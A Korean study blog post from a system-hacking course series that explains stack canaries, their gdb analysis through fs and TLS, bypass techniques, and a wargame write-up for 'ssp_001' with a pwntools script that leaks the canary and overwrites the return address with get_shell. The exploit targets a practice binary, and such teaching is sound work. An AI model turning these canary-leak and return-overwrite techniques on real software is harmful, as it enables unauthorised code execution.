[시스템 해킹] 🔒 Stack Canary

zzoni·2022년 7월 25일
1

시스템해킹

목록 보기
9/15
post-thumbnail

앞선 강의에선 스택 버퍼 오버플로우의 취약점을 찾아 익스플로잇 하는 방법으로
return address를 공격하는 기법을 배웠죠?

이를 보호하는 Stack Canary에 대해 배워봅시다!



❓ 스택 카나리란?

스택 버퍼 오버플로우로부터 반환 주소를 보호하는 보호기법

  • 원리
    함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값(카나리)을 삽입하고,
    함수의 에필로그에서 해당 값의 변조를 확인한다.
    카나리 값의 변조가 확인되면 프로세스는 강제로 종료된다.

-> rao를 하려면 반드시 카나리를 먼저 덮어야 하므로,
    카나리 값을 모르는 공격자는 카나리 값을 변조하게 됨!
-> 변조 확인



🛠 카나리의 작동 원리

⭕ 카나리 정적 분석

👇 스택 버퍼 오버플로우가 발생하는 예제 코드

#include <unistd.h>
int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

카나리를 활성화하여 컴파일한 바이너리와
비활성화하여 컴파일한 바이너리를 비교하여 원리를 살펴봅시다!


◼ 카나리 비활성화

gcc는 기본적으로 스택 카나리를 적용하여 바이너리를 컴파일 한다!
컴파일 옵션으로 -fno-stack-protector을 추가하면 카나리를 비활성화하고 컴파일 할 수 있다.

       gcc -o no_canary canary.c -fno-stack-protector

👉 해당 예제를 컴파일한 후 길이가 긴 입력을 주면,
     반환 주소가 덮여서 Segmentation fault가 발생한다.



◼ 카나리 활성화

카나리 비활성화 옵션 없이 컴파일한 후, 긴 입력을 주면
Segmentation fault가 아닌
stack smashing detectedAborted라는 에러가 발생한다.
이는 스택 버퍼 오버플로우가 탐지되어 프로세스가 강제종료되었음을 의미한다.

✔ Diff: canary.asm → no_canary.asm

이 코드들이 어떻게 반환 주소를 보호하는지 분석

👉 카나리 동적 분석


◼ 카나리 저장

프롤로그의 코드에 중단점을 설정하고 실행!

  • b *main+8, r

  • <main+8> : mov rax, qword ptr fs:[0x28]

    • fs의 데이터를 읽어서 rax에 저장
    • 💡 fs란?
      세그먼트 레지스터의 일종으로, 프로세스가 시작될 때 fs에 랜덤 값을 저장한다.
  • 코드를 한 줄 실행하면 rax에는 첫 바이트가 널 바이트인 8바이트 데이터가 저장되어 있는 것을 확인할 수 있다!

  • 생성한 랜던 값은 <main +17> 에서 rbp-0x8에 저장된다.

◼ 카나리 검사

  • ① <main + 50>은 rbp-0x8에 저장한 카나리를 rcx로 옮긴다.
  • ② <main + 54>에서 rcx xor fs(앞에서 저장한 카나리)
    • 두 값이 동일하면 연산 결과가 0 이 되면서 je의 조건을 만족하게 되고, main함수는 정상적으로 반환된다!
    • 두 값이 동일하지 않으면 __stack_chk_fail이 호출되며 프로세스가 강제로 종료된다.

이제 에필로그의 코드에 중단점을 설정하고 실행!

  • b *main+50, c
  • 긴 길이의 H를 입력하여 카나리를 변조하고, 실행 흐름을 파악해보면
    • ① : rbp-0x8에 저장된 카나리 값이 "0x484848..."이 된 것 확인 가능
    • ② : 연산 결과가 0이 아니므로 je가 적용되지 않아 main + 65__stack_chk_fail이 호출되며 프로세스가 종료된다!

🔬 카나리의 생성 과정

카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장된다.

  • 💡 TLS란?
    Thread Local Storage의 약자
    쓰레드 별 저장공간
    정적 변수와 전역 변수는 프로세스의 모든 스레드에 공유된다.
    TLS를 사용하면 쓰레드 별 독립된 변수로 사용할 수 있게 된다.

◼ TLS의 주소 파악

fs는 TLS를 가리키므로 fs의 값을 알면 TLS의 주소를 알 수 있다.
-> 리눅스에서는 p $fs와 같은 gdb 명령어로는 조회 불가. system call을 사용해야만 조회 가능!

  • fs 주소 확인 방법
    fs의 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점을 설정하여 확인
    • man page
      • sets architecture-specific process or thread state
      • arch_prctl(ARCH_SET_FS, addr)의 형태로 호출하면 fs의 값은 addr로 설정된다.
catch syscall arch_prctl # catch point 설정
r

-> 프로세스는 TLSaddr에 저장하고, fs는 이를 가리킨다.
카나리가 저장될 fs+0x28의 값을 보면, 어떠한 값도 저장되어있지 않다.



◼ 카나리 값 설정

gdb의 watch 명령어로 TLS+0x28에 watchpoint를 걸어준다.

  • 💡 watch
    watchpoint에 저장된 값이 변경되면 프로세스를 중단시키는 명령어다.

  • 프로세스가 멈췄을 때 다시 TLS+0x28의 값을 조회하면 카나리 값 조회 가능

    • 실제로 이 값이 main에서 사용하는 카나리 값인지 확인하기 위해 main에 중단점을 설정하고 관찰
      • mov rax,QWORD PTR fs:0x28를 실행하고 rax 값 확인
      • 동일!






➕ 카나리 우회

◼ Brute Force

  • 모든 값을 넣어보며 값을 알아내는 방법

x64 아키텍처에서는 8바이트, x86 아키텍처에서는 4바이트의 카나리가 생성된다. 각각의 카나리에는 NULL 바이트가 포함되어 있으므로, 실제로는 7, 3 바이트의 랜덤한 값을 생성하여 비교하면 된다.
해당 방법으로 카나리 값을 알아내려면 최대 (16*16)^7번, (16*16)^3번의 연산이 필요하다.
-> 현실적으로 불가능

◼ TLS 접근

TLS의 주소는 매 실행마다 바뀌지만 만약 실행 중에 TLS의 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 조작할 수 있다.

스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 우회 성공

◼ 스택 카나리 릭

스택 카나리를 읽을 수 있는 취약점이 있다면, 이를 이용하여 카나리 검사를 우회할 수 있다. 가장 현실적인 카나리 우회 기법.

printf()는 문자열의 NULL Byte를 만날 때까지 스택에 있는 값을 출력하게 된다. 이 때 스택 카나리는 NULL Byte를 포하맣고 있으므로 버퍼의 크기보다 1 더 크게 입력하면 스택 카나리의 NULL Byte가 덮어 씌워지게 된다. 따라서 스택 카나리의 값을 확인 할 수 있다.

name : fffffffff
memo : 아무 문자 * 32 + aaaaaaaa
-> return address가 aaaaaaaa로 overwrite 됨!




🎮 wargame - ssp_001

◼ Environment


◼ 취약점

코드를 살펴보고 발견한 취약점 2개

    1. case 'E'
      입력받는 길이를 사용자로부터 입력받고,
      그 길이만큼 read하는 코드
    1. print_box 함수
      idx의 값이 box 크기를 넘어가도 됨!

◼ idea

    1. print_box 함수 이용
      idx값을 1씩 늘려가며 반복적으로 입력하여 카나리 값을 얻는다.
    1. case 'E' 에서 rao
      name_len의 사이즈를 크게 설정하여
      return을 get_shell()의 주소로 덮는다.

◼ 메모리 구조 파악

  • 카나리 주소 파악
    • main함수의 끝부분에서 카나리 비교부분을 확인하여 저장위치 파악

카나리는 ebp - 0x8에 저장된 것으로 추정!

  • ebp-0x8부터 4Byte를 읽어 비교하는 거로 유추 가능


  • 스택 구조 파악

    • 예상 구조



    • 확인

      • idx, name_len, select


      • box 확인
        F를 따라 들어가보면 box는 ebp-0x88 추정


      • name 확인
        E를 따라 들어가보면
        name_len은 ebp-0x90, name은 ebp-0x48로 추정


    • 스택 구조

  • 코드 구성
    1. > P 입력하여 print_box 실행 후 카나리 릭!
    box에서 카나리는 0x80만큼 떨어져있음! 1byte씩 얻어오므로 총 4번 반복하여 얻어오자

    canary = b'' #16진수 null
    # canary 크기 : 4byte
    for i in range(4):
        p.sendlineafter("> "'P')
        p.sendlineafter("Element index : "str(0x80 + i)) # box~canary 거리 : 0x80
        p.recvuntil('is : ')
        canary = p.recv()[:2+ canary # little-endian이니까!
     
    canary = int(canary, 16)
    cs
    - 주의! little endian이므로 1byte씩 얻은 걸 에 추가해줘야 함!

    2. ret 덮어씌울 payload 작성
    payload = b'A' * 0x40   # name
    payload += p32(canary)  # canary
    payload += b'A' * 0x8   # dummy, sfp
     
    elf = ELF('./ssp_001')  
    get_shell = elf.symbols['get_shell']
    payload += p32(get_shell) # ret
    cs

    3. `> E` 입력하여 payload 전송
    p.sendlineafter("> "'E')
    p.sendlineafter("Name Size : "str(len(payload)))
    p.sendlineafter("Name : ", payload)
     
    p.interactive()
    cs
profile
모든 게시물은 다크모드에서 작성되었습니다!

0개의 댓글